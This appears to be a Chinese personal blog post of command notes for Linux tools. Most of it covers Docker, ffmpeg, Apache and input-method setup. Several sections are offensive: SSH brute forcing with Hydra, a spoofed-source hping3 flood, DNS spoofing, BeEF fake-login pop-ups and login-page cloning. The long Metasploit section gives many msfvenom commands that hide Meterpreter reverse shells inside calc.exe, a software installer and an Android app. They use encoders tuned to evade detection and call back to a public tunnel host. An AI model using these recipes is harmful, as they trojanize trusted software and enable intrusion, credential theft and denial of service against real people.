Linux Applications

部分Linux应用程序使用指南

Posted by Ryan Yim on 2022-03-27
Estimated Reading Time 99 Minutes
Words 21.4k In Total
Viewed Times

部分软件安装、使用「仓库来源」 - Software

Adb

1
2
3
4
5
6
7
8
# 列出软件
pm list package -3
# 获取当前焦点窗口
dumpsys window | grep mCurrentFocus
# 启动某程序
am start -n com.taobao.taobao/com.taobao.tao.TBMainActivity
# 查找日志
logcat | grep com.jingdong.app.mall.MainFrameActivity

Apache2

Debian下的配置结构(Apache httpd 2.x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ServerRoot              ::      /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)

注意:
Debian / Ubuntu布局在/ usr / share / doc / apache2 / README中有完整记录。
Debian / Ubuntu使用符号链接来配置虚拟主机和加载模块。配置文件是在它们各自的站点(可用)和mods(可用)目录中创建的。要激活虚拟主机和模块,将在启用站点和启用mods的相应目录中创建符号链接,以指向可用站点和可用mods中的配置文件。Debian提供了用于处理此过程的脚本,称为“ a2ensite”和“ a2enmod”,用于激活虚拟主机和模块。
默认虚拟主机在/ etc / apache2 / sites-available / default中定义,并且覆盖服务器上下文中的DocumentRoot集。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
systemctl start apache2
a2enmod/a2diamod 【module】:实质:【在/etc/apache2/mods-enabled/建立Link文件==>/etc/apache2/mods-available/】作用:【启用某模块(不立即生效)】
配置端口:【/etc/apache2/ports.conf】
======================================================================================
# 修改下面的80端口
Listen 80

<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>

# 注意:修改端口记得也要修改/etc/apache2/sites-enabled/000-default.conf的端口。
======================================================================================
配置默认根目录:【/etc/apache2/sites-enabled/000-default.conf】
======================================================================================
ServerAdmin webmaster@localhost
# 添加下面是根目录位置
DocumentRoot /home/HTML
======================================================================================
配置默认根目录权限:【/etc/apache2/apache2.conf】
======================================================================================
# 下面添加根目录访问权限
<Directory /home/HTML/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
======================================================================================
其他虚拟机:
/etc/apache2/sites-available/virtual host name.conf
a2ensite www.yahoo.com
文件位于:/srv/www.yahoo.com/www/

生成自签名的SSL证书(pem&key)
openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout server.key -out server.pem
openssl req –new –newkey rsa:2048 –nodes –keyout server.key –out server.csr

ARP Scan

1
arp-scan 192.168.1.0/24

BeEF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 将BeEF集成到metasploit框架:
/usr/share/beef-xss/config.yaml
metasploit:
enable:true
/usr/share/beef-xss/extensions/metasploit/config.yaml
编辑:host、callback_host、os 'custom'//改host就OK;不改
然后msfconsole
load msgrpc ServerHost=<IP> Pass=abc123
# 验证:
cd usr/share/beef-xss/
./b eef
显示成功加载msf
beef复位数据库:beef -x
http//:<IP>:3000/ui/panel
# beef:
social engineering/clippy:允许弹窗显示文字图片及下载
pretty theft:弹窗登录

Bettercap

1
2
3
4
5
6
7
8
apt-get install bettercap

# bettercap DNS欺骗:
配置dns文件:dns.conf
local *.google\.com
# 重定向:
192.168.1.1 .*microsoft\.com
bettercap -I eth0 -O log.txt -X --gateway 192.168.0.1 --target 192.168.0.144 --dns dns.conf

CeWL——网页关键词采集

1
2
apt install cewl
cewl www.google.com -w google.txt

Crunch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 生成字典:
crunch 1 10 1234567890 -o ./num1-10

# 意思是crunch将生成以“yale”“test”为元素的所有密码组合
crunch 4 5 -p yale test

# 意思是生成最小为1位,最大为4位元素为所有小写字母的密码字典,前6000个密码,并预估所需时间
crunch 1 4 -o START -c 6000

# 意思是生成4位密码,其中格式为“字符+数字+字母”,这里字符范围为!@#* ,数字范围为 1 2 34 , 字母范围为a b c d
crunch 4 4 abcd + 1234 @#!* -t ^^%@

# 生成最小8位,最大8位,字符集为0123456789,以1开头的字典
crunch 8 8 +0123456789 -t 1%%%%%%% -o '/home/heroonehy/桌面/0mon/1.txt'

参数:
min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)
oprions:
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字符

Dd

1
2
# dd生成一定大小的文件(比如1G)
dd if=/dev/zero of=test_file count=1024000 bs=1024

Docker-ce

安装docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 官网安装docker
https://docs.docker.com/engine/install/debian/
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

# Add the repository to Apt sources:
echo \
"deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
"$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# 测试
sudo docker run hello-world

# 官方一键安装:
https://ruxi.org/484.html
curl -fsSL https://get.docker.com | bash
使用阿里源安装:
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun


#### 国内镜像安装docker:
参考:
https://github.com/y0ngb1n/dockerized
https://gist.github.com/y0ngb1n/7e8f16af3242c7815e7ca2f0833d3ea6
https://juejin.cn/post/7135739035158315022

方法1:
sudo apt-get remove docker docker-engine docker.io
sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository \
"deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian \
$(lsb_release -cs) \
stable"
sudo apt-get update
sudo apt-get install docker-ce

方法2:
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
sudo apt update
sudo apt install docker-ce

方法3:
sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
software-properties-common
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
EOF

配置DockerHub镜像

大陆Docker Hub屏蔽原因:https://unsafe.sh/go-244186.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 配置镜像加速地址(Dockerhub)
配置加速地址
Ubuntu 16.04+、Debian 8+、CentOS 7+
创建或修改 /etc/docker/daemon.json:
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://dockerproxy.com",
"https://docker.mirrors.ustc.edu.cn",
"https://docker.nju.edu.cn"
]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

其他镜像:
阿里云
{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
商业付费:https://taoshu.in/docker-hub-proxy.html
https://docker.lehu.in/
个人提供:
https://lainbo.com/article/build-your-own-docker-mirrors
自建Docker Hub镜像方法
{
"registry-mirrors": ["https://huecker.io"]
}

# 自己搭建:
https://github.com/bboysoulcn/registry-mirror

Eclipse

1
2
3
4
5
6
汉化:
帮助-添加软件:
添加Babel:https://www.eclipse.org/babel/downloads.php
Babel - https://download.eclipse.org/technology/babel/update-site/latest/
Babel-2021-03 - https://download.eclipse.org/technology/babel/update-site/R0.18.3/2021-03/
自行安装即可。

Extremetuxracer

Linux企鹅滑雪比赛

Fcifx-rime——中州韵输入法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
关于Rime的推荐文章:https://byvoid.com/zht/blog/recommend-rime/
中州韵输入法添加词库:
示例文章:
https://gist.github.com/lotem/5443073
https://github.com/rime-aca/dictionaries
https://www.cnblogs.com/dylanchu/p/11507492.html

### 添加自定义词库(明月拼音):
## 推荐方法:
1. git clone https://github.com/rime-aca/dictionaries.git
下载词库得到配置文件:luna_pinyin_simp.custom.yaml
内容:
# 附朙月拼音系列方案與其對應的 id 一覽表:
# 輸入方案 id
# 朙月拼音 luna_pinyin
# 朙月拼音·简化字 luna_pinyin_simp
# 朙月拼音·臺灣正體 luna_pinyin_tw
# 朙月拼音·語句流 luna_pinyin_fluency
#

patch:
# 載入自己的詞庫
"translator/dictionary": luna_pinyin.mine
# 改寫拼寫運算,使得含西文的詞彙(位於 luna_pinyin.cn_en.dict.yaml 中)不影響簡拼功能(注意,此功能只適用於朙月拼音系列方案,不適用於各類雙拼方案)
# 本條補靪只在「小狼毫 0.9.30」、「鼠鬚管 0.9.25 」、「Rime-1.2」及更高的版本中起作用。
"speller/algebra/@before 0": xform/^([b-df-hj-np-tv-z])$/$1_/
内容结束。
2.设置自己的词库:
内容:
---
name: luna_pinyin.mine
version: "2021.01.02"
sort: by_weight
use_preset_vocabulary: true
import_tables:
- luna_pinyin
...

一一列舉 1
张三 z s 1
内容结束。
3.在extend中添加自己的词库名称:
内容:
---
name: luna_pinyin.extended
version: "2015.12.02"
sort: by_weight
use_preset_vocabulary: true
#此處爲明月拼音擴充詞庫(基本)默認鏈接載入的詞庫,有朙月拼音官方詞庫、明月拼音擴充詞庫(漢語大詞典)、明月拼音擴充詞庫(詩詞)、明月拼音擴充詞庫(含西文的詞彙)。如果不需要加載某个詞庫請將其用「#」註釋掉。
#雙拼不支持 luna_pinyin.cn_en 詞庫,請用戶手動禁用。
import_tables:
- luna_pinyin
- luna_pinyin.mine
...
内容结束。
4.重新部署 -> 成功

## ->没整成功的方法
1.首先新建yaml配置文件:
vi luna_pinyin.syz202101.yaml
内容:
# luna_pinyin.syz202101.yaml
# 修改字典名爲 luna_pinyin.syz202101
# 其對應的用戶詞典名取句點之前部分即 luna_pinyin

patch:
translator/dictionary: luna_pinyin.syz202101
内容结束

2.新建词典:
nano luna_pinyin.syz202101.dict.yaml
内容:
# Rime dictionary
# encoding: utf-8

---
name: luna_pinyin.kunki
version: "2013.04.23"
sort: by_weight
use_preset_vocabulary: true
# 從 luna_pinyin.dict.yaml 導入包含單字的碼表
import_tables:
- luna_pinyin
...

# table begins

# 自定義的詞條
瑾昀 jin yun 100
瑾昀 kun ki 100
自動註音的詞
又一個詞
再一個詞

内容结束

Ffmpeg

常用命令:(其他资源:个人向常用ffmpeg命令总结 )

  • 视频+音频:

    • ffmpeg -an -i 【视频文件】 -stream_loop -1 -i 【音频文件】 -c:v copy -t 【视频时长】 out.mp4
    • ffmpeg -an -i 【视频文件】 -stream_loop -1 -i 【音频文件】 -t 【视频时长】 out2.mp4
  • 提取画面:ffmpeg -i 【视频文件】 -vcodec copy -an out.mp4

  • 提取封面(会报错但不影响使用):ffmpeg -ss 【时间节点】 -i 【输入视频文件】 【输出图片文件】 -r 1 -frames:v 1 -an -vcodec mjpeg

  • 提取音频:ffmpeg -i 【视频文件】 -acodec copy -vn out.mp3

  • 合并视频、音频:ffmpeg -f concat -i 1.txt -c copy output.mp4

    1
    2
    3
    TXT文件:
    file '1.mp4'
    file '2.mp4'
  • 裁剪视频:ffmpeg -ss 0:0:0 -to 0:29:30 -i 【视频文件】 -vcodec copy -acodec copy out.MOV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# ffmpeg加速音频、视频
# https://www.jianshu.com/p/ea4af542df6a
# 视频变为2倍速
ffmpeg -i input.mp4 -an -filter:v "setpts=0.5*PTS" output.mp4
# 音频2
ffmpeg -i input.mp4 -filter:a "atempo=2.0" -vn output.mp4
# 音频4
ffmpeg -i input.mp4 -filter:a "atempo=2.0,atempo=2.0" -vn output.mp4
# 音频+视频2
ffmpeg -i input.mp4 -filter_complex "[0:v]setpts=0.5*PTS[v];[0:a]atempo=2.0[a]" -map "[v]" -map "[a]" output.mp4

ffmpeg:
# 合并视频
TXT:
file '1.mp4'
file '2.mp4'

ffmpeg -f concat -i filelist.txt -c copy output.mp4
注意:这一行指令使用了-c copy,说明他只适用于视频切割产生的分段,被合并的视频必须是相同的参数!!如果你需要合并参数不同的视频,把-c copy去掉或者自己写压制参数,参考参数:-c:v libx264 -crf 23 -profile:v high -level 5 -c:a aac -b:a 240k

ffmpeg -f concat -safe 0 -i files.txt -c copy output.mp4

# MOV转MP4
ffmpeg -i 0.MOV -vcodec libx264 -preset fast -crf 0 -y -vf "scale=1920:-1" -acodec libmp3lame -ab 128k new.mp4

ffmpeg -i linux-01-命令行操作的魅力.mov -vcodec libx264 -preset fast -crf 20 -y -vf "scale=1920:-1" -acodec libmp3lame -ab 128k linux-01-命令行操作的魅力.mp4

‘-i filename (input)’ 输入文件名
‘-y (global)’ 覆盖输出文件而不询问
‘-vf filtergraph (output)’ 创建 filtergraph 指定的过滤图,并使用它来过滤流。
‘-vcodec codec (output)’ 设置视频 codec。
‘-acodec codec (input/output)’ 设置音频codec。


# 剪切视频-持续时间
ffmpeg -ss 0:0:0 -to 0:29:30 -i 2.MOV -vcodec copy -acodec copy o.MOV
# -r 提取图像的频率,-ss 开始时间,-t 持续时间
ffmpeg -ss 0:1:30 -t 0:0:20 -i input.avi -vcodec copy -acodec copy output.avi
//剪切视频
ffmpeg -ss 0:1:30 -t 0:0:20 -i input.mp4 -vcodec copy -acodec copy output.mp4
// -ss 开始时间; -t 持续时间

ffmpeg -i input -r 30 -b:a 128k output.mp4
-r 10表示110帧;
-b:a 32k表示音频的码率为32kb/s,即4kB/s;

# 分离视频流
ffmpeg -i input_file -vcodec copy -an output_file_video
# 分离音频流
ffmpeg -i input_file -acodec copy -vn output_file_audio

# 视频解复用:拼接?
ffmpeg –i test.mp4 –vcodec copy –an –f m4v test.264
ffmpeg –i test.avi –vcodec copy –an –f m4v test.264
# 转码为码流原始文件
ffmpeg –i test.mp4 –vcodec h264 –s 352*278 –an –f m4v test.264
# 转码为码流原始文件
# -bf B帧数目控制,-g 关键帧间隔控制,-s 分辨率控制
ffmpeg –i test.mp4 –vcodec h264 –bf 0 –g 25 –s 352*278 –an –f m4v test.264
# 转码为封装文件
ffmpeg –i test.avi -vcodec mpeg4 –vtag xvid –qsame test_xvid.avi

# 视频封装 视频剪切
ffmpeg –i video_file –i audio_file –vcodec copy –acodec copy output_file
# 提取图片
ffmpeg –i test.avi –r 1 –f image2 image-%3d.jpeg
// 视频截图
ffmpeg –i test.mp4 –f image2 -t 0.001 -s 320x240 image-%3d.jpg
// -s 设置分辨率; -f 强迫采用格式fmt;

# 视频录制
ffmpeg –i rtsp://192.168.3.205:5555/test –vcodec copy out.avi

主要参数:
-i 设定输入流
-f 设定输出格式
-ss 开始时间
视频参数:
-b 设定视频流量,默认为200Kbit/s
-r 设定帧速率,默认为25
-s 设定画面的宽与高
-aspect 设定画面的比例
-vn 不处理视频
-vcodec 设定视频编解码器,未设定时则使用与输入流相同的编解码器
音频参数:
-ar 设定采样率
-ac 设定声音的Channel数
-acodec 设定声音编解码器,未设定时则使用与输入流相同的编解码器
-an 不处理音频

更多:
https://blog.michitsoft.com/2009/02/ffmpeg.html

视频转GIF:
ffmpeg -i input.mkv out.gif
改变倍速(原视频60fps 输出30fps):
ffmpeg -r 60 -i input.mkv -r 30 out.gif
来源:https://www.cnblogs.com/lepeCoder/p/7886001.html

Firefox-esr

1
2
3
4
5
6
7
8
安装flash插件:
到 > https://get.adobe.com/cn/flashplayer/ 下载归档文件。

快速安装:
解压 `tar -zxvf install_flash_player_"version"_linux."processor".tar.gz`
里面有一个*.so的文件,移动到`/usr/lib/mozilla/plugins`
`cp libflashplayer.so /usr/lib/mozilla/plugins`
> 完整安装请见压缩包中的文件说明。

Fping

1
2
# ping扫描:
fping -g 192.168.1.0/24

GCM——git-credential-manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
repo: https://github.com/git-ecosystem/git-credential-manager
wget https://github.com/git-ecosystem/git-credential-manager/releases/download/v2.6.1/gcm-linux_amd64.2.6.1.deb

GCM弹窗乱码时,临时切换英文:
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8

配置 Git 使用 GCM
git config --global credential.helper manager-core
清除存储的凭证
git credential-manager-core erase

Description:

Usage:
git-credential-manager [command] [options]

Options:
--no-ui Do not use graphical user interface prompts
--version Show version information
-?, -h, --help Show help and usage information

Commands:
get [Git] Return a stored credential
store [Git] Store a credential
erase [Git] Erase a stored credential
configure Configure Git Credential Manager as the Git credential helper
unconfigure Unconfigure Git Credential Manager as the Git credential helper
diagnose Run diagnostics and gather logs to diagnose problems with Git
Credential Manager
azure-repos Commands for interacting with the Azure Repos host provider
github Commands for interacting with the GitHub host provider

Gfdisk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo apt install gptfdisk
@要显示分区表和分区信息,以 /dev/sda 磁盘为例:
# gdisk -l /dev/sda
或者
# sgdisk -p /dev/sda

@备份:
习惯磁盘前,请先备份磁盘的分区表,也可以将磁盘信息备份到相同的设备上。
sgdisk 可以创建一个二进制备份,包含 MBR, GPT 主表头,GPT 备份表头和分区表。下面示例将 /dev/sda 的分区表信息备份到 sgdisk-sda.bin:
# sgdisk -b=sgdisk-sda.bin /dev/sda

@恢复备份:
# sgdisk -l=sgdisk-sda.bin /dev/sda

@如果要复制分区到其它磁盘,例如从 /dev/sda 复制到 /dev/sdc:
# sgdisk -R=/dev/sdc /dev/sda

@如果两个磁盘位于同一个计算机,使用下面命令设置随机的分区 GUIDs:
# sgdisk -G /dev/sdc

@要使用 gdisk, 将要编辑的分区作为命令参数, 例如要编辑 /dev/sda:
#gdisk /dev /sda

Hping3

1
2
hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2

Httrack

1
2
3
4
5
6
# 克隆镜像网站:
httrack www.baidu.com -O /root/webclone/

httrack http://192.168.3.5/srun_portal_pc.php?ac_id=1& -O "/home/webs/swulog" --mirrorlinks -%v -r6

克隆网页还可见wget

Hydra

1
2
3
4
5
6
#Hydra:
#破解SSH:
hydra -s 22 -v -V -L logfile.txt -P password.txt -t 8 192.168.1.1 ssh
#字典攻击 ,自动生成密码:
hydra -V -L logfie.txt -x 6:8:aA1 192.168.1.1 ssh
hydra -V -L logfie.txt -x '6:8:aA1 @!?' 192.168.1.1 ssh

IRC客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
irssi——Terminal
hexchat——Windows
konversation——Linux

IRC服务器:
irc.Libera.chat:6697

chat.freenode.net/6666/6667——Plain
irc.freenode.net/6697——SSL
irc.debian.org/7000——Plain

频道推荐:
irc.Libera.chat:
# archlinux-cn-offtopic
# archlinux-offtopic
# debian
# #networking
# linuxba

debian.org:
# debian
# debian-kde

注册昵称:
/nick YourNick
/msg NickServ REGISTER YourPassword youremail@example.com
/msg NickServ VERIFY REGISTER username codes
/msg NickServ IDENTIFY YourNick YourPassword
/msg NickServ GROUP
/connect irc.libera.chat 6667 YourNick:YourPassword
修改密码:/msg nickserv set password <new_password>

Jami

1
2
3
4
sudo apt install gnupg dirmngr ca-certificates curl --no-install-recommends
curl -s https://dl.jami.net/public-key.gpg | sudo tee /usr/share/keyrings/jami-archive-keyring.gpg > /dev/null
sudo sh -c "echo 'deb [signed-by=/usr/share/keyrings/jami-archive-keyring.gpg] https://dl.jami.net/nightly/debian_10/ ring main' > /etc/apt/sources.list.d/jami.list"
sudo apt-get update && sudo apt-get install jami

Kde Connect

1
2
3
命令:
锁屏:loginctl lock-session
解锁:loginctl unlock-session

Kdenlive

1
2
3
4
#### 快速选择
> https://video.stackexchange.com/questions/21598/select-range-of-clips-in-kdenlive
> https://userbase.kde.org/Kdenlive/Manual/Timeline_Menu/Selection
如果剪辑你要选择都是连续的,可以按Shift+左击和拖到你的鼠标在所有的片段

Mass scan

1
2
#大规模扫描:
masscan 192.168.0.0/24 -p 80 --banner

Mdk4

1
apt-get install mdk4

Metasploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
======================================================================================
# metasploit框架修改流量标示序列指南:
通过修改http_form_field,在msfconsole下auxiliary/fuzzers/http/http_form_field
use auxiliary/fuzzers/http/http_form_field
set useragent
set useragent Googlebot/2.1
======================================================================================
# 查找SMB会话:
use auxiliary/scanner/smb/smb_enumusers
set smbuser vagrant
set smbpass vagrant
======================================================================================
# msf连接VNC :auxiliary/scanner/vnc/vnc_login
set rhost 192.168.1.21
set STOP_ON_SUCCESS true
run
======================================================================================
# 生成vbs宏脚本:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -e x86/shikata_ga_nai -f vba-exe
======================================================================================
======================================================================================
# 通用后门创建:
msfvenom -p windows/meterpreter/reverse_tcp -k -x original.exe lhost=<IP> lport=<port> -f exe -o clone.exe
-p:允许选择需要的载荷嵌入-k,克隆程序并插入负载。-x选项复制具有相同属性的可执行模板。
创建一个rc文件简化操作:
use /exploit/mullti/handler
set payload windows/meterpreter/reverse_tcp
set lhost <IP>
set lport <port>
set exitonsession false
set autorunscript migrate -n explorer.exe
exploit -j -z
保存为*.rc
使用:msfconsole -q -r <filepath>

# msf生成后门文件:
msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f vba-exe > attack.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f exe -o /home/jessie/at.exe

# msfvenom编码3次:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe

msfvenom -p android/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10738 -f apk -x /root/payload -o /root/payload_backdoor.elf

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=free.idcfengye.com LPORT=10738 -f raw | msfvenom -a java --platform android -e cmd/echo -i 10 -f raw -x /home/jessie/work/kugou.apk > kugoupojiek01.apk
https有助于逃过动态检测:
msfvenom -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.222 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe
生成exe:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe --platform windows -b "\x00\xff" LHOST=10.128.133.123 LPORT=8090 PrependMigrate=true PrependMigrateProc=svchost.exe > /home/jessie/8090tcp.exe
生成C:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.200 lport=4444 -f c
======================================================================================
# Windows端后门创建
msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe > w-win-reve-tcp-o.exe

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe --platform windows -b "\x00\xff" LHOST=10.128.133.123 LPORT=8090 PrependMigrate=true PrependMigrateProc=svchost.exe > /home/jessie/8090tcp.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 -b "\x00\xff" -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe > w-win-reve-tcp-o-x64.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe -i 88 -f vba-exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai -i 14 PrependMigrate=true PrependMigrateProc=svchost.exe -f vbscript > w-win-reve-9010-tcp-e14.vbs

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe -i 88 -f vbs

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o calc-win-reve-tcp-o.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 1 PrependMigrateProc=svchost.exe -f exe -o calc-win-reve-tcp-e1.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 1 PrependMigrateProc=svchost.exe -b "\x00\xff" -f exe -o calc-win-reve-tcp-be1.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 19 PrependMigrateProc=svchost.exe -b "\x00" -f vba-exe

msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -e x86/shikata_ga_nai -k -x calc.exe -b '\x00' > w-win-reve-tcp-o.exe

msfvenom -p windows/meterpreter/reverse_tcp -f vba-exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -e x86/shikata_ga_nai -k -x calc.exe -b '\x00'
main()

{

( (void(*)(void))&buf)();

}
======================================================================================
# Android端后门创建
msfvenom -p android/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=19005 -f raw > attack.apk

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=free.idcfengye.com LPORT=10738 -f raw | msfvenom -a java --platform android -e cmd/echo -i 10 -f raw > attack.apk

--list-options
--list formats
--list encoders
